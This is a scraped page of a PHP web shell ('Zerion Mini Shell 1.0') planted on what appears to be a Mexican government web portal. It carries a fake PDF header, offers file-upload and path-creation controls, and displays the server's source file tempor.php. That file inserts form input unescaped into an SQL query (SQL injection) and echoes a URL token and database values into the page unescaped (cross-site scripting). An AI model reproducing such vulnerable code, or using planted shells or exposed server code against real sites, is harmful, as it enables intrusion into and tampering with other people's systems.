%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/infofi/modules/forms/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/infofi/modules/forms/tempor.php

<?php
require("conn.php");
if(isset($_POST['tempo'])){

    $tempo = $_POST['tempo'];

    $inyTemp = mysqli_query($db, "INSERT INTO ntiempos (temporal) VALUES ('$tempo')");

    if(!$inyTemp){

        echo "Error";

    }

}

?>

<br />

<div class="content">

    <div class="titulo">Agregar Temporalidades</div><br />

    <div>

        <table class="tablas">

            <tr>

                <td class="ctab">ID</td>

                <td class="ctab">Temporalidad</td>

            </tr>

            <?php

            $senTempo = mysqli_query($db, "SELECT * FROM ntiempos ORDER BY idtmp ASC");

            while($tRow = mysqli_fetch_array($senTempo)){

                ?>

            <tr>

                <td><?php echo $tRow['idtmp']; ?></td>

                <td><?php echo $tRow['temporal']; ?></td>

                <td>

                    <div class="caja"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=ctempo&idtmp=<?php echo $tRow['idtmp']; ?>"><img src="images/plus.png" width="20" height="20" /><span class="info">Configurar</span></a></div>

                </td>

            </tr>

            <?php

            }

            ?>

        </table>

    </div>

    <br />

    <div>

        <form name="tempor" method="post" action="">

            <div class="fcampo"><input type="text" name="tempo" placeholder="Temporalidad" /></div>

            <div class="fcampo"><input type="submit" value="Guardar" /></div>

        </form>

    </div>

    <br />

</div>

Zerion Mini Shell 1.0